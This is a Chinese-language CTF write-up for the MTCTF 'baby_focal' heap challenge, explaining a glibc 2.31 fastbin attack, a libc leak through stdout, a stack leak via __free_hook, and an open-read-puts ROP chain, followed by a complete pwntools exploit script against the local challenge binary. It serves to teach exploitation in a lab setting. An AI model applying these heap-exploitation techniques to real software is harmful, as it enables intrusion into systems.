-
-
[原创] MTCTF baby_focal PWN writeup
-
2021-5-25 03:01 10627
-
MTCTF baby_focal writeup
题目概览
一道glibc2.31的堆题,但漏洞利用过程与新特性没什么关系
开启了seccomp,禁用了execve,也就是我们要用orw来读flag
- 用了_ptrace函数来反调试,我们直接把它nop掉就行
为了方便调试,我们把两个sleep也nop掉
- 经典的菜单题
- alloc这里值得一提的是采用了calloc来申请堆块,这个函数和malloc的主要区别在于会将堆块的内容清空以及申请堆块的时候不会从tcache里面取,漏洞点在记录chunk大小这里,它记录的值为我们输入的size+16
- 而在edit这里,read的值是从size里面取的,所以我们相当于拥有了越界写0x10个字节的条件
- delet会将堆指针数组和size数组清空,不存在UAF
没有show函数,这就意味着我们要通过打 _IO_2_1_stdout 来泄露libc
好消息是题目没有开启pie
利用思路
任意地址写
由于可以越界写16字节,我们可以劫持FD字段,所以想到可以打tcache attack,但这里用的是calloc函数,所以我们选择 fastbin attack
所以先填满对应大小的tcache,再free就可以进入fastbin里面
然后就是FD劫持的位置,由于没有开pie,很自然就能想到可以劫持bss段上的堆指针数组和size数组,到了这一步我们就相当于拥有的任意地址写,接下来就是泄露、
泄露libc
通过修改bss上的数据,我们可以伪造一个unsorted bin 大小的chunk,把这个chunk给free掉,它的fd就会带上一个libc的地址,然后我们通过局部覆盖爆破出 _IO_2_1_stdout(十六分之一的概率) ,从而泄露出libc基地址
拿到libc之后问题在于往哪里写orw的ROP链,这里我选择的是往栈上写
栈上写rop链
所以首先要泄露出栈地址,我采取的手段是:
把 free_hook 改成 puts的plt地址,然后在堆块里写上 environ 的地址,这样当我们free掉这个堆块的时候,就会泄露出 environ 的值,即栈的地址
最后算一下edit函数的返回地址的偏移,在edit的时候把rop链写到栈上,最后ret的时候就会执行我们的rop链,从而把flag打印出来
值得一提的是,程序里有flag这个字符串,这样我们就不用自己写,直接把这个地址传进RDI就行,还有就是调用 open 的时候,记得把RSI清0,即第二个参数为0
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 | from pwn import * context.binary = "./baby_focal" #context.log_level = "debug" libc = context.binary.libc def debug(): gdb.attach(sh) pause() def add(index,size): sh.sendlineafter( ">> " , "1" ) sh.sendlineafter( ">> " , str (index)) sh.sendlineafter( ">> " , str (size)) def free(index): sh.sendlineafter( ">> " , "3" ) sh.sendlineafter( ">> " , str (index)) def edit(index,data): sh.sendlineafter( ">> " , "2" ) sh.sendlineafter( ">> " , str (index)) sh.sendafter( "content >> " ,data) while 1 : try : sh = process( "./baby_focal" ) sh.sendlineafter( "name: " , "77pray" ) for i in range ( 7 ): add( 0 , 0x70 ) free( 0 ) add( 0 , 0x78 ) add( 1 , 0x70 ) free( 1 ) payload1 = b 'a' * 0x70 + p64( 0x0 ) + p64( 0x81 ) + p64( 0x404060 ) edit( 0 ,payload1) add( 1 , 0x70 ) add( 1 , 0x70 ) payload2 = p64( 0x404060 ) + p64( 0x1000 ) + p64( 0x0 ) + p64( 0x421 ) + p64( 0x404080 ) + p64( 0x421 ) + b '\x0a' edit( 1 ,payload2) payload2 = p64( 0 ) * 2 + p64( 0x404060 ) + p64( 0x421 ) + p64( 0x0 ) + p64( 0x421 ) + p64( 0x404080 ) + p64( 0x421 ) + b '\x11' * 0x3f0 + p64( 0x0 ) + p64( 0x21 ) + p64( 0 ) * 3 + p64( 0x21 ) + b '\x0a' edit( 1 ,payload2) free( 3 ) payload3 = p64( 0x404088 ) + p64( 0x421 ) + p64( 0 ) * 2 + b '\x60\x97\x0a' edit( 1 ,payload3) edit( 0 ,p64( 0x40 ) + b '\x0a' ) payload4 = flat( 0xfbad1800 , 0 , 0 , 0 ) + b '\x50\x0a' edit( 2 ,payload4) stdin_addr = u64(sh.recvuntil( '\x7f' ,timeout = 0.1 )[ - 6 :].ljust( 8 , b '\x00' )) libc_base = stdin_addr - libc.sym[ '_IO_file_jumps' ] free_hook = libc_base + libc.sym[ '__free_hook' ] stack = libc_base + libc.sym[ 'environ' ] puts_plt = 0x401134 #print(hex(libc_base)) edit( 0 ,flat( 0x40 ,free_hook, 0x20 , stack - 0x10 , 0x20 ) + b '\x0a' ) edit( 3 ,p64(puts_plt) + b '\x0a' ) edit( 4 ,flat( 0 , 0x61 ) + b '\x0a' ) edit( 0 ,flat( 0x40 ,free_hook, 0x20 , stack , 0x20 ) + b '\x0a' ) #debug() sh.sendlineafter( ">> " , "3" ) sh.sendlineafter( ">> " , str ( 4 )) stack_addr = u64(sh.recvuntil( '\x7f' )[ - 6 :].ljust( 8 ,b '\x00' )) - 304 #print(hex(stack_addr)) edit( 0 ,flat( 0x40 , stack_addr , 0x400 ) + b '\x0a' ) pop_rdi_ret = libc_base + 0x2155f pop_rsi_ret = libc_base + 0x23e6a pop_rdx_ret = libc_base + 0x1b96 pop_rax_ret = libc_base + 0x439c8 flag_str_addr = 0x402068 syscall = libc_base + 0x13C0 bss_addr = 0x4040b0 open_chain = p64(pop_rdi_ret) + p64(flag_str_addr) + p64(pop_rsi_ret) + p64( 0 ) + p64(libc.sym[ "open" ] + libc_base) read_chain = p64(pop_rdi_ret) + p64( 3 ) read_chain + = p64(pop_rsi_ret) + p64(bss_addr) read_chain + = p64(pop_rdx_ret) + p64( 0x40 ) + p64(libc.sym[ "read" ] + libc_base) # read puts_chain = p64(pop_rdi_ret) + p64(bss_addr) puts_chain + = p64(libc.sym[ "puts" ] + libc_base) # puts orw_chain = open_chain + read_chain + puts_chain edit( 3 ,orw_chain + b '\x0a' ) sh.interactive() break #debug() except Exception as e: sh.close() pass |
[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法